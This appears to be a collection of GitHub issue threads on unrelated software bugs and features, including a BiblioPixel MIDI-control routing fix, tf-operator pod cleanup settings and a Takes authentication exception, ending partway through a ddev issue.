We already have some code that changes all the branch pipe lines to match up so maybe hook into that.

Thanks by the way for this huge feature!

you are very welcome!


CcStrict should not touch urn() or anonymous identity

CcStrict should not touch urn() or anonymous identity, because it leads to runtime exception:
java.lang.UnsupportedOperationException: #urn()
	at org.takes.facets.auth.Identity$1.urn(Identity.java:50)
	at org.takes.facets.auth.codecs.CcStrict.applyRules(CcStrict.java:67)
	at org.takes.facets.auth.codecs.CcStrict.decode(CcStrict.java:58)
	at org.takes.facets.auth.PsCookie.enter(PsCookie.java:104)
	at org.takes.facets.auth.PsChain.enter(PsChain.java:72)
	at org.takes.facets.auth.TkAuth.act(TkAuth.java:86)
	at org.takes.facets.flash.TkFlash.act(TkFlash.java:104)
	at org.takes.facets.fallback.TkFallback.route(TkFallback.java:76)
	at org.takes.facets.fallback.TkFallback.access$000(TkFallback.java:45)
	at org.takes.facets.fallback.TkFallback$1.act(TkFallback.java:57)
	at org.takes.tk.TkWrap.act(TkWrap.java:59)
	at org.takes.tk.TkGzip$1.act(TkGzip.java:56)
	at org.takes.tk.TkWrap.act(TkWrap.java:59)
	at org.takes.tk.TkMeasured$1.act(TkMeasured.java:65)
	at org.takes.tk.TkWrap.act(TkWrap.java:59)
	at org.takes.tk.TkVersioned$1.act(TkVersioned.java:70)
	at org.takes.tk.TkWrap.act(TkWrap.java:59)
	at org.takes.tk.TkWithHeaders$1.act(TkWithHeaders.java:69)
	at org.takes.tk.TkWrap.act(TkWrap.java:59)
	at org.takes.tk.TkWrap.act(TkWrap.java:59)
	at org.takes.http.BkBasic.print(BkBasic.java:89)
	at org.takes.http.BkBasic.accept(BkBasic.java:73)
	at org.takes.http.BkSafe.accept(BkSafe.java:58)
	at org.takes.http.BkParallel$1.run(BkParallel.java:90)

@yegor256 I tagged this as "bug"

@cyberone this task is yours, please help (see our key principles of work). If you have any technical questions, don't hesitate to ask right here
30 mins is the budget of the task. This is exactly how much will be paid when the problem is solved (no matter how much time you will actually spend). See this for more information

@yegor256 thanks for tis bug, I topped your account for 15 mins, transaction 000-f31d7d37

@davvd please review https://github.com/yegor256/takes/pull/204

@yegor256 the corresponding PR is merged. Close the task please.

@cyberone thanks!

@elenavolokhova please, review this ticket for compliance with our QA rules

@davvd Quality is good.

@davvd Quality is good.

@elenavolokhova thanks, got it, great to see high-quality tickets here

@cyberone 10 mins was added to the account of @elenavolokhova (for QA review), in transaction 56383385; I added 38 mins to your account, many thanks for working with the project! The completion time here was 56383397.; there is a bonus for fast delivery (age=3243); +38 added to your rating, at the moment it is: +158


folder struct

Folder structure is bad!

The folder structure currently is really bad!


Too abstract status information for RingOut

I followed the instructions here: https://github.com/ringcentral/ringcentral-js#making-telephony-calls
And it did work for some telephone numbers. But for some other numbers, there were issues. The status information  is:
{ uri: 'https://platform.ringcentral.com/restapi/v1.0/account/37439510/extension/850957020/ringout/10',
  id: 10,
  status:
   { callStatus: 'CannotReach',
     callerStatus: 'GenericError',
     calleeStatus: 'Success' } }

I think the information above is too simple and abstract, and I have no idea what happened.
I check this endpioint /account/~/extension/~/call-log, it seems that the RingOut result is IP Phone Offline
Maybe this issue belongs to the REST API team, feel free to close it.

This issue should be reported to API team, that's right. I've forwarded your request to them.


All root Az module Reference pages are 404

When clicking on any of root module links (Examples, list not exhaustive):
https://docs.microsoft.com/en-us/powershell/module/az.automation
https://docs.microsoft.com/en-us/powershell/module/az.datafactory
https://docs.microsoft.com/en-us/powershell/module/az.accounts
You get 404 error instead of index of cmdlets or overview of what module entails. 404 error is very jarring because you lose access to sidebar navigation and it's easy to click on root module links when intending to expand that module instead. Having index of all Cmdlets for that module or overview would be much nicer.

Between me opening this issue and now, it's been fixed so closing.

@Rabbit994 Glad to know that you are able to resolve it yourself.


Accessing current animation in a sequence of animation from a midi control

The new REST control works great for accessing values on the current animation. For example I can do either something like /put/animation.index/3 or /put/animation.animation.brightness/25
However if I try something similar on the midi control I get an error
In the project file
controls:
  typename: midi
  verbose: true
  extractor:
    normalizers: ""
    accept:
      type: control_change
    omit:
    - port
    - channel
    - velocity
  routing:
    '0': animation.animation.color_control
    '1': animation.animation.brightness_control
    '2': animation.animation.count_control
    '3': animation.animation.width_control
    '4': animation.animation.randomness_control
    '5': animation.animation.utility_control_one
    '6': animation.animation.utility_control_two
    '7': animation.animation.delay_control
    '16': animation.animation.red_control
    '17': animation.animation.blue_control
    '18': animation.animation.green_control

animation:
  typename: sequence
  length: 600
  animations:
  - typename: fireflies_remote.FireFliesRemote

And the error when trying to run it
(bibliopixel)   ³ bibliopixel  ~/p/bibliopixel_projects       api/animations  bp run ../projects/midi_demo.yml -v              5.2s  Sat 14 Jul 2018 01:55:27 PM CDT
INFO - data_maker - Using numpy
INFO - devices - Using COM Port: /dev/ttyACM0, Device ID: b'Z', Device Ver: 0
DEBUG - run - Running file ../projects/midi_demo.yml
INFO - driver - Closing connection to: /dev/ttyACM0
Traceback (most recent call last):
  File "/home/estiens/projects/bibliopixel/bin/bp", line 15, in <module>
    main.main()
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/main/main.py", line 78, in main
    result = run(args) or 0
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/main/run.py", line 165, in run
    run_once(args)
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/main/run.py", line 151, in run_once
    _run_projects(projects, args)
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/main/run.py", line 122, in _run_projects
    project.run()
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/project/project.py", line 120, in run
    self.start()
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/project/project.py", line 86, in start
    c.set_root(self)
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/control/control.py", line 36, in set_root
    self.routing.set_root(root)
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/control/routing.py", line 52, in set_root
    visit(self.routing)
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/control/routing.py", line 50, in visit
    visit(v)
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/control/routing.py", line 47, in visit
    set_root(root)
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/control/action.py", line 56, in set_root
    a.set_root(root)
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/control/action.py", line 17, in set_root
    self.address.set_root(root)
  File "/home/estiens/projects/bibliopixel/lib/python3.6/site-packages/bibliopixel/control/editor.py", line 31, in set_root
    (self.address, segment))
ValueError: Resolving the address "animation.animation.color_control" failed at ".animation"

(NB: everything works fine if I am just running one animation and use animation.color_control in the router, just trying to build the receiver/address for the current animation in a sequence of them)

Ah, this is an interesting problem and almost certainly fixable without much fuss.  :-)
Your usual extremely high quality of bug report means I (almost certain ) know exactly what the issue is without even reading the code!
animation.animation is actually a property and something I'm doing to set attributes of a property is going wrong as a result.

Let me be honest and say that I knew when I first conceived of the idea of allowing you to directly reach in and twiddle parameters even deep in the project, I knew in my heart that I wouldn't be able to tie up each and every loose end in the original release, because there were just too many cases I hadn't through of - like this one.  :-D

yeah, I know I'm towards the edges of use cases here with the controls.
If it helps for inspiration, I have a glowing bar that has a MIDI controller hooked up to it allowing anyone to change parameters of the animations on the fly. Can always write a script that just runs different project files in a loop (each with only one animation) so that people can play with colors and levels and stuff, but would be even sweeter to just have a sequence and allow people to switch between animations with the midi controller as well.
(On the plus side, the other project I'm working on right now uses the new REST control heavily to allow arduinos to communicate with running bibliopixels and it has been running like a champ so far. Pretty much instantaneous response time, the ability to change animations or properties of those animations on the fly, and the new getter functionality makes it easy to alter parameters based on what is currently happening too, so thanks for that!)

Whoa!!!
Hot [stuff]!
I'm sure I can knock that fix out in the very near future, and also add
some tests for this case.
--
/t
https://tom.ritchford.com https://tom.ritchford.com
https://tom.swirly.com https://tom.swirly.com

Awesome! I will be off grid setting this thing up in the middle of the woods on Wednesday morning.
I have each slider on a midi controller set to route to some general controls (color control, brightness control, delay control, count control, etc) -- you can be reasonably sure that the color control and the brightness control will change the color, in single color animations it might change the actual color, in more rainbow-y animations it might change how far apart the colors are from each other, the count control will likely change something about the density of the pixels if it's not an animation that used every pixel, etc. I have about 8 of the strip animations re-written to take some subset of the 7 controls.
Incidentally, the controls also become a great way to do basic animations from any programming when combined with the REST control as well. For example, I have a ruby program listening to arduinos and doing some other things based on the info that comes back, but now it's simple to do something like
  def self.raise_param(param, n)
    thread = Thread.new do
      r = Net::HTTP.get(URI.parse("#{BASE_URL}/get/animation.animation.#{param}"))
      count = r.to_i
      count = 127 if (count + n) > 127
      Net::HTTP.get(URI.parse("#{BASE_URL}/set/animation.animation.#{param}/#{count + n}"))
    end
  end

  def self.count_up(n=5)
    raise_param('count_control', n)
  end

  def self.slow_count_up(n=5, delay=1, times=5)
    times.times do
      count_up(n)
      sleep(delay)
    end
  end

and then just call LedController.slow_count_up(1, 1, 10) from the arduino listening loop to go trigger a increase in the density of the pixels over 10 seconds. Great stuff! Thanks again for all the controls work.

Ah, so if I can deliver
https://github.com/ManiacalLabs/BiblioPixel/issues/874 to you (in dev) by
then, would it be useful to you?
On Mon, Jul 16, 2018 at 6:19 PM, Eric Stiens<EMAIL_ADDRESS>wrote:

Awesome! I will be off grid setting this thing up in the middle of the
woods on Wednesday morning.
I have each slider on a midi controller set to route to some general
controls (color control, brightness control, delay control, count control,
etc) -- you can be reasonably sure that the color control and the
brightness control will change the color, in single color animations it
might change the actual color, in more rainbow-y animations it might change
how far apart the colors are from each other, the count control will likely
change something about the density of the pixels if it's not an animation
that used every pixel, etc. I have about 8 of the strip animations
re-written to take some subset of the 7 controls.
Incidentally, the controls also become a great way to do basic animations
from any programming when combined with the REST control as well. For
example, I have a ruby program listening to arduinos and doing some other
things based on the info that comes back, but now it's simple to do
something like
def self.raise_param(param, n)
thread = Thread.new do
r = Net::HTTP.get(URI.parse("#{BASE_URL}/get/animation.animation.#{param}"))
count = r.to_i
count = 127 if (count + n) > 127
Net::HTTP.get(URI.parse("#{BASE_URL}/set/animation.animation.#{param}/#{count + n}"))
end
end
def self.count_up(n=5)
raise_param('count_control', n)
end
def self.slow_count_up(n=5, delay=1, times=5)
times.times do
count_up(n)
sleep(delay)
end
end
and then just call LedController.slow_count_up(1, 1, 10) from the arduino
listening loop to go trigger a increase in the density of the pixels over
10 seconds. Great stuff! Thanks again for all the controls work.
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/ManiacalLabs/BiblioPixel/issues/874#issuecomment-405303201,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAPdssqRTtn9J1Iw1NFgpD0xqCyglx3yks5uHL0XgaJpZM4VP91b
.

--
/t
https://tom.ritchford.com https://tom.ritchford.com
https://tom.swirly.com https://tom.swirly.com

yeah, would be super useful as it would allow the midi controller to not only control animations but switch between them. Without that I have to figure out how to map the midi controller to trigger REST commands which is not nearly as great of a workaround. I'm hoping that since the REST control seems to have no problem at all with things like animation.animation.brightness the MIDI controller won't be so hard to fix up, though I realize the REST control is kinda making an end run around some of this stuff cause its not really using the routing.

We need video of this when you get a chance :)
On Mon, Jul 16, 2018, 2:05 PM Eric Stiens<EMAIL_ADDRESS>wrote:

yeah, would be super useful as it would allow the midi controller to not
only control animations but switch between them. Without that I have to
figure out how to map the midi controller to trigger REST commands which is
not nearly as great of a workaround. I'm hoping that since the REST control
seems to have no problem at all with things like
animation.animation.brightness the MIDI controller won't be so hard to
fix up, though I realize the REST control is kinda making an end run around
some of this stuff cause its not really using the routing.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/ManiacalLabs/BiblioPixel/issues/874#issuecomment-405326562,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AA6a6ug6usmWwfcSxNjwgy5EfX5RSVovks5uHNXugaJpZM4VP91b
.

Ah, if you can scoot me over the fireflies_remote.FireFliesRemote Python it might make this a bit easier.
My initial theory seems to be wrong - it doesn't explain why it would work on REST and not on MIDI.
That's bad.  All the data is supposed to look the same after it leaves the control!  I'll get it though.

@adammhaile will be video of both projects :)
@rec - here are remote animations altered to take control values do things while running
https://github.com/estiens/bibliopixel_projects/tree/master/remote_animations
It's not that it doesn't work exactly, it's that it errors out even trying to build the project when you put in something like animation.animation.color_control for the router. (Because I am running a sequence of animations). If I run only one of the remote animations I can use animation.color_control for the router and the animation responds to midi messages as expected.

I'm fairly sure I have a fix here: https://github.com/rec/BiblioPixel/commits/controls
I will write some tests for it tomorrow - if you were energetic you could try patching in that commit and seeing if it fixed your issues...

sure! up to my ears in getting all the stuff done right now, but I'll patch it tonight and see how it works and let you know! Thanks!

hrmmmm, so i basically installed bibliopixel from your branch but for some reason it was left in a state where numpy couldn't be used, I reinstalled numpy, in my virtualenv, but still no dice wiped out the virtualenv and am creating a new one, but pyyaml has been unreachable for over 24 hours now (couldn't compile bibliopixel on a new rasppi either) -- not quite familiar enough with the pip/wheel ecosystem to know if I can grab pyyaml somehow else (404 grabbing it, not you fault, but is a dependency) but will look into it

We pinned pyyaml in the docs branch ->
https://github.com/ManiacalLabs/BiblioPixel/blob/docs/requirements.txt
Should probably do that in all branches. Or do a <= 4.0 or something.
I think most people will be fine, but there was a small window when it
would grab 4.1 which was bad.... or @rec, did you just instead make it all
work with 4.x?
On Mon, Jul 16, 2018 at 9:28 PM Eric Stiens<EMAIL_ADDRESS>wrote:

(If you do pip install pyyaml==3.13 before you install bibliopixel it
works fine, 3.13 is the last stable version of pyyaml, 4.2 will be the
next, 4.1 was yanked)
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/ManiacalLabs/BiblioPixel/issues/874#issuecomment-405429982,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AA6a6pNe5med42Uw-MByg0kUyWXD56v8ks5uHT2jgaJpZM4VP91b
.

Good news  @rec -- your patch works great for accessing running animations in a sequence! now have a midi controller that can switch animations and affect the running animation! I do have an issue where BP crashes and gets restarted by systemd every 2-3 minutes, haven't quite tracked that down yet. Possibly some sort of power issue, though I don't know why the BP process itself would crash and restart (actually never seen BP crash, even if I unplug the USB from the all pixel it will keep running and just report errors)
@adammhaile I'll give you a preview video shortly, but the bar looks way better with the roof lights up as well which won't be til later this week.
Thanks again for being so responsive to issues/requests -- building two Burning Man projects right now that use all_pixels heavily and it's been great to get to make bibliopixel responsive to HTTP requests for the main project (MIDI controller for the bar is basically for fun, but it is pretty cool)
Oh @rec - one more issue if you ever get up and playing with real time midi control of parameters -- it often works in near real time, it occasionally seems to somehow lag wayy behind (by a few seconds) and then just catch up again. If you switch animations it doesn't keep the same parameters (so if you have brightness set to 20, and you switch animations, it will reset to default brightness until you move the midi controller a tiny bit to send a CC value, but honestly this limitation I was expecting since MIDI CCs only send values on change)

Also @rec - at the moment I have to assign different CC values to specific animations, which is cool, but it would be nice to also assign a CC to index up and index down -- once again a limitation of my own understanding of the router code I'm sure but it you could let me know how to assign a router to animation.index += 1 and -= 1 that would be sweet!

Also if you want to check out my general idea that I'm working on for remote animations I've reworked some strip animations here (about halfway there) -- general idea is to have some general controls (color_control, brightness_control, count_control, speed_control) etc which do similar things (but possibly slightly different things) across many animations
https://github.com/estiens/bibliopixel_projects/tree/master/remote_animations

Now @rec if you could just let me know how to access an individual animation in a split animation in a sequence animation from a control I would be golden :D :D :D
Something like animation.animation.animations[0]...

So much stuff!  :-O  (0 . o)
I filed two of these as other issues: #878, #879

About the crashes - you don't mean a stack trace, you mean that the whole process goes away ("core dumps")?
I would love this to be due to low power.  :-D
There's little we could be doing in Python that could lead to crashing.  Even if we have race conditions, these would lead to things going wrong in Python-land and a stack trace.

Re: your remote animations repo: best thing since sliced bread(*)!
When you're done with this, we should bring all these ideas back into the main branch.
I believe remote controllability is the future of BLiPS.

https://en.wikipedia.org/wiki/Sliced_bread was originally advertised as the best thing since wrapped bread...

Ah, and #880

I want you on my dev team maintaining backlogs @rec :D you're really good at getting suff tracked and split off into issues. Undervalued skill IMHO. :)
Okay last question here (and no need to make it possible if it's not) is if the current state of controls allow routing to either (or both) a single animation in a split animation in a sequence of animations.
eg if I have something like the following
animation:
  typename: sequence
  length: 3000
  animations:
  - typename: rainbow_remote.RainbowRemote
  - typename: color_fade_remote.ColorFadeRemote
  - typename: split
    size: 100
    animations:
    - typename: rainbow_remote.RainbowRemote
      count_control: 20
    - typename: rainbow_remote.RainbowRemote
      count_control: 40

Is there a way to either/both use the routing of a control to send color_control to the split RainbowRemote animations in unison or separately - obviously animation.animation.color_control no longer works because that animation is now the split animation, not the RainbowRemote animation

Regarding the crash on midi control, I wouldn't put too much worry in it yet. There's a very real possibility that there's something in the LEDs themselves that might be causing it (getting some individual pixel flickers which usually suggests a ground/data break in there)
Let me do some more isolating of variables and also monitoring of processes and see if I can come up with something actionable.

There are two ways to do it!
you can just do
animation.animations[0].color_control
But that's crappy if you move stuff around, because then the numbers have
to change.
You can also do this:
animation.animations[RainbowRemote].color_control
If you have more than one Rainbow remote, they get unique names
RainbowRemote0, etc. but you can also have your own custom name:
animation:
typename: sequence
length: 3000
animations:

typename: rainbow_remote.RainbowRemote
name: wombat

And then use:
animation.animations[RainbowRemote].color_control
On Tue, Jul 17, 2018 at 8:02 PM, Eric Stiens<EMAIL_ADDRESS>wrote:

I want you on my dev team maintaining backlogs @rec
https://github.com/rec :D you're really good at getting suff tracked
and split off into issues. Undervalued skill IMHO. :)
Okay last question here (and no need to make it possible if it's not) is
if the current state of controls allow routing to either (or both) a single
animation in a split animation in a sequence of animations.
eg if I have something like the following
animation:
typename: sequence
length: 3000
animations:

typename: rainbow_remote.RainbowRemote
typename: color_fade_remote.ColorFadeRemote
typename: split
size: 100
animations:

typename: rainbow_remote.RainbowRemote
count_control: 20
typename: rainbow_remote.RainbowRemote
count_control: 40

Is there a way to either/both use the routing of a control to send
color_control to the split RainbowRemote animations in unison or
separately - obviously animation.animation.color_control no longer works
because that animation is now the split animation, not the RainbowRemote
animation
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/ManiacalLabs/BiblioPixel/issues/874#issuecomment-405673040,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAPdssy3aA-I72jKaMgGyCh9iFwviB9rks5uHibLgaJpZM4VP91b
.

--
/t
https://tom.ritchford.com https://tom.ritchford.com
https://tom.swirly.com https://tom.swirly.com


TFJob and Worker Pods are not deleted after the Job has completed

Hello Team - After applying the tf-operator and successfully running a Distributed TFJob. I see the worker pods still hanging around in the Completed state and the TFJob is also not deleted. I cannot spawn a new Job with the same name unless I manually cleanup all of them.
e.g. After the job has completed I do the following
kubectl describe tfjob tf2-keras-mnist-tfjob-gpu -n asaha and I still see the tfjob hanging around even after nearly am hour.
TFJob Status:
Status:
  Completion Time:  2021-02-09T01:27:16Z
  Conditions:
    Last Transition Time:  2021-02-09T01:26:48Z
    Last Update Time:      2021-02-09T01:26:48Z
    Message:               TFJob tf2-keras-mnist-tfjob-gpu is created.
    Reason:                TFJobCreated
    Status:                True
    Type:                  Created
    Last Transition Time:  2021-02-09T01:26:51Z
    Last Update Time:      2021-02-09T01:26:51Z
    Message:               TFJob tf2-keras-mnist-tfjob-gpu is running.
    Reason:                TFJobRunning
    Status:                False
    Type:                  Running
    Last Transition Time:  2021-02-09T01:27:16Z
    Last Update Time:      2021-02-09T01:27:16Z
    Message:               TFJob tf2-keras-mnist-tfjob-gpu successfully completed.
    Reason:                TFJobSucceeded
    Status:                True
    Type:                  Succeeded
  Replica Statuses:
    Worker:
      Succeeded:  2
  Start Time:     2021-02-09T01:26:48Z
Events:
  Type    Reason                   Age                    From         Message
  ----    ------                   ----                   ----         -------
  Normal  SuccessfulCreatePod      5m43s                  tf-operator  Created pod: tf2-keras-mnist-tfjob-gpu-worker-0
  Normal  SuccessfulCreatePod      5m43s                  tf-operator  Created pod: tf2-keras-mnist-tfjob-gpu-worker-1
  Normal  SuccessfulCreateService  5m43s                  tf-operator  Created service: tf2-keras-mnist-tfjob-gpu-worker-0
  Normal  SuccessfulCreateService  5m43s                  tf-operator  Created service: tf2-keras-mnist-tfjob-gpu-worker-1
  Normal  ExitedWithCode           5m15s (x3 over 5m15s)  tf-operator  Pod: asaha.tf2-keras-mnist-tfjob-gpu-worker-1 exited with code 0
  Normal  ExitedWithCode           5m15s                  tf-operator  Pod: asaha.tf2-keras-mnist-tfjob-gpu-worker-0 exited with code 0
  Normal  TFJobSucceeded           5m15s                  tf-operator  TFJob tf2-keras-mnist-tfjob-gpu successfully completed.

Also, the worker pods are still lurking around.
TFJob Worker Pod Status:
(base) asaha-mbp151:exploration asaha$
(base) asaha-mbp151:exploration asaha$ kubectl get pods -n asaha | grep tfjob
tf2-keras-mnist-tfjob-gpu-worker-0                 0/1     Completed   0          5m14s
tf2-keras-mnist-tfjob-gpu-worker-1                 0/1     Completed   0          5m14s
(base) asaha-mbp151:exploration asaha$

For completeness I applied the following TFJob Yaml.
# https://github.com/kubeflow/tf-operator/blob/master/examples/v1/distribution_strategy/keras-API/multi_worker_strategy-with-keras.py
# ------- Create GPU Distributed TFJob ------ #
apiVersion: kubeflow.org/v1
kind: TFJob
metadata:
  name: tf2-keras-mnist-tfjob-gpu
spec:
  cleanPodPolicy: All
  tfReplicaSpecs:
    Worker:
      replicas: 2
      restartPolicy: Never
      template:
        metadata:
          labels:
            lyft.com/ml-platform: ""
        spec:
          containers:
            - name: tensorflow
              image: "173840052742.dkr.ecr.us-east-1.amazonaws.com/lyftlearnhorovod:17d83c623429a793a9c526f4d98550c70156961f"
              command:
                - python
              args:
                - "/mnt/user-home/mpi-horovod-exploration/multi_worker_strategy-with-keras.py"
                - "--saved_model_dir"
                - "/tmp/tfjob-mnist/saved_model/"
                - "--checkpoint_dir"
                - "/tmp/tfjob-mnist/checkpoint"
              env:
              - name: NCCL_DEBUG
                value: "INFO"
              - name: NCCL_SOCKET_IFNAME
                value: "eth0"
              resources:
                limits:
                  nvidia.com/gpu: 1
              volumeMounts:
              - mountPath: /mnt/user-home
                name: nfs
          volumes:
          - name: nfs
            persistentVolumeClaim:
              claimName: asaha
          tolerations:
            - key: lyft.net/gpu
              operator: Equal
              value: dedicated
              effect: NoSchedule

TF Operator Logs:
(base) asaha-mbp151:exploration asaha$ kubectl logs -f tf-operator-54dbf7666-r9qz4 -n tf-operator

{"filename":"tensorflow/status.go:216","job":"asaha.tf2-keras-mnist-tfjob-gpu","level":"info","msg":"Finished updating TFJobs Status \"tf2-keras-mnist-tfjob-gpu\" (6.430419ms)","time":"2021-02-09T01:27:16Z","uid":"b14f519e-1105-4a51-98d0-46e50b128d5a"}
{"filename":"tensorflow/controller.go:294","job":"asaha.tf2-keras-mnist-tfjob-gpu","level":"info","msg":"Finished syncing tfjob \"asaha/tf2-keras-mnist-tfjob-gpu\" (6.845854ms)","time":"2021-02-09T01:27:16Z"}
{"filename":"tensorflow/job.go:152","level":"info","msg":"Updating tfjob: tf2-keras-mnist-tfjob-gpu","time":"2021-02-09T01:27:16Z"}
{"filename":"common/job.go:92","level":"info","msg":"Reconciling for job tf2-keras-mnist-tfjob-gpu","time":"2021-02-09T01:27:16Z"}
{"filename":"k8sutil/k8sutil.go:102","level":"info","msg":"Ignoring inactive pod asaha/tf2-keras-mnist-tfjob-gpu-worker-1 in state Succeeded, deletion time \u003cnil\u003e","time":"2021-02-09T01:27:16Z"}
{"filename":"tensorflow/pod.go:130","job":"asaha.tf2-keras-mnist-tfjob-gpu","level":"info","msg":"Pod: asaha.tf2-keras-mnist-tfjob-gpu-worker-1 exited with code 0","time":"2021-02-09T01:27:16Z","uid":"b14f519e-1105-4a51-98d0-46e50b128d5a"}
{"filename":"tensorflow/status.go:108","job":"asaha.tf2-keras-mnist-tfjob-gpu","level":"info","msg":"TFJob=tf2-keras-mnist-tfjob-gpu, ReplicaType=Worker expected=1, running=1, failed=0","time":"2021-02-09T01:27:16Z","uid":"b14f519e-1105-4a51-98d0-46e50b128d5a"}
{"filename":"tensorflow/controller.go:294","job":"asaha.tf2-keras-mnist-tfjob-gpu","level":"info","msg":"Finished syncing tfjob \"asaha/tf2-keras-mnist-tfjob-gpu\" (305.397µs)","time":"2021-02-09T01:27:16Z"}
...
...
{"filename":"tensorflow/job.go:152","level":"info","msg":"Updating tfjob: tf2-keras-mnist-tfjob-gpu","time":"2021-02-09T01:34:12Z"}
{"filename":"common/job.go:92","level":"info","msg":"Reconciling for job tf2-keras-mnist-tfjob-gpu","time":"2021-02-09T01:34:12Z"}
{"filename":"tensorflow/controller.go:294","job":"asaha.tf2-keras-mnist-tfjob-gpu","level":"info","msg":"Finished syncing tfjob \"asaha/tf2-keras-mnist-tfjob-gpu\" (217.145µs)","time":"2021-02-09T01:34:12Z"}
{"filename":"tensorflow/job.go:152","level":"info","msg":"Updating tfjob: tf2-keras-mnist-tfjob-gpu","time":"2021-02-09T01:34:42Z"}
{"filename":"common/job.go:92","level":"info","msg":"Reconciling for job tf2-keras-mnist-tfjob-gpu","time":"2021-02-09T01:34:42Z"}
{"filename":"tensorflow/controller.go:294","job":"asaha.tf2-keras-mnist-tfjob-gpu","level":"info","msg":"Finished syncing tfjob \"asaha/tf2-keras-mnist-tfjob-gpu\" (248.45µs)","time":"2021-02-09T01:34:42Z"}

Thanks for the issue! I will have a look ASAP.

Hi, which API version are you using? Maybe you need to set cleanPodPolicy like this if you are using v1:
spec:
  runPolicy:
    cleanPodPolicy: All

BTW, would you mind adding your adoption to https://github.com/kubeflow/tf-operator/blob/master/docs/adopters.md?

I see. Thanks @gaocegege that worked. There is a difference between how tf-operator and the mpi-operator expect the cleanPodPolicy to be specified.
I had been using below with tf-operator which is what we also use with the mpi-operator
spec:
  cleanPodPolicy: All

But after changing to
spec:
  runPolicy:
    cleanPodPolicy: All

I see the tfjob worker pods are now being cleaned up. But, the TFJob still hangs around. Is that designed like that? Do, we need to clean up the TFJob manually?
Sure, I will be happy to update the adoption once we finish our evaluation and testing and incorporate TFJob in our production system.

Do you mind adding your organization to MPI operator's adopters as well?

Do you mind adding your organization to MPI operator's adopters as well? https://github.com/kubeflow/mpi-operator/blob/master/ADOPTERS.md

Sure, I will be happy to update the adoption once we finish our evaluation and testing and incorporate MPI Operator in our production system.

Sure, I will be happy to update the adoption once we finish our evaluation and testing and incorporate TFJob in our production system.

Sure, thanks.

I had been using below with tf-operator which is what we also use with the mpi-operator

https://github.com/kubeflow/mpi-operator/issues/324 I am working on it. I think we will have the same layout with MPIJob.

I see the tfjob worker pods are now being cleaned up. But, the TFJob still hangs around. Is that designed like that? Do, we need to clean up the TFJob manually?

Yeah, we will not delete TFJob when the TFJob is succeeded.

Thanks @gaocegege for the explanation.


[Snyk] Fix for 2 vulnerabilities

Snyk has created this PR to fix 2 vulnerabilities in the pip dependencies of this project.
Snyk changed the following file(s):

ex-11/got-episodes-api-python/requirements.txt

[!IMPORTANT]

Check the changes in this PR to ensure they won't cause issues with your project.
Max score is 1000. Note that the real score may have changed since the PR was raised.
This PR was automatically created by Snyk using the credentials of a real user.
Some vulnerabilities couldn't be fully fixed and so Snyk will still find them when the project is tested again. This may be because the vulnerability existed within more than one direct dependency, but not all of the affected dependencies could be upgraded.

Note: You are seeing this because you or someone else with access to this repository has authorized Snyk to open fix PRs.
For more information:
🧐 View latest project report
📜 Customise PR templates
🛠 Adjust project settings
📚 Read about Snyk's upgrade logic

Learn how to fix vulnerabilities with free interactive lessons:
🦉 Learn about vulnerability in an interactive lesson of Snyk Learn.

Zero changes, so closing this

0 files changed. closing


Improve long-form design

A lot of feedback I got on the design of this blog tends to revolve around the design on long-form pages. So I've taken a look at a fresh clean-room design, rather than my previous incremental evolution.
This would be opt-in for posts. I'd backport some of my older longer pieces in
General above the fold feel:

These work well on posts that have lots of easy SVG representations, but images need to be treated differently.

There's an alternative idea WRT the headline image

I re-examined our footer

I also explored the idea a TOC based on section SVGs

These can be found in the artsy_oss sketch file in #325

Would those images along the side be alienable with the top of a section? i.e. GraphQL logo next to GraphQL section etc.

Nice! 👍 to the flexible inline image layouts.

The footer will be a great resource.

One bit of design crit: the sidebar TOC isn't that intuitive and looks more like generic branding. If you think a TOC is necessary, it would probably be better to make it explicit and accessible.

@damassi TOC:

Yeah, I think the TOC probably shouldn't happen

@anandaroop Colors

Yeah, I think at some point @mennenia found some complementary colours which I should look at adding

@alloy alignment

Yeah, they're meant to be attached to the starting point of each one of those sections. You would somehow declare that this is the GraphQL section with an x,y offset, or whatever and it would handle it.attaching it

@orta there's this pdf on the mobile repo and issue that details the discussion with Owen here.
PDF is kinda ugly and outdated — feel free to update the sketch file (also in the repo). Happy to have a look at it as well.

Related to longform design, the code snippets and images are weirdly aligned if you ask me. I understand we want more real estate, but maybe we want to left justify everything and make things wider?

Cool, I've integrated the PDF into the Artsy OSS Sketch file - thanks @mennenia
Aye, the code highlighting should change, most of the posts were Objective-C which needed a tonne of horizontal space. Not a problem now everything is in terser languages.

Got a WIP version in https://artsy.slack.com/archives/C03J4L2KK/p1496956622418595

This is done and dusted


Clean up KubeRay GLUE example.

Signed-off-by: Dmitri Gekhtman<EMAIL_ADDRESS>Removes comments and irrelevant config fields from the KubeRay GLUE example.
Renames the AppWrapper from raycluster-autoscaler to raycluster-glue.

LGTM


Environment variable DDEV_SITENAME no longer available?

Describe the bug
In a project started with ddev 1.12.0, I'm using the following configuration file to run cronjobs in the existing web container:
config.akeneo-cronjobs.yaml
webimage_extra_packages: [--no-install-recommends cron]

hooks:
    post-start:
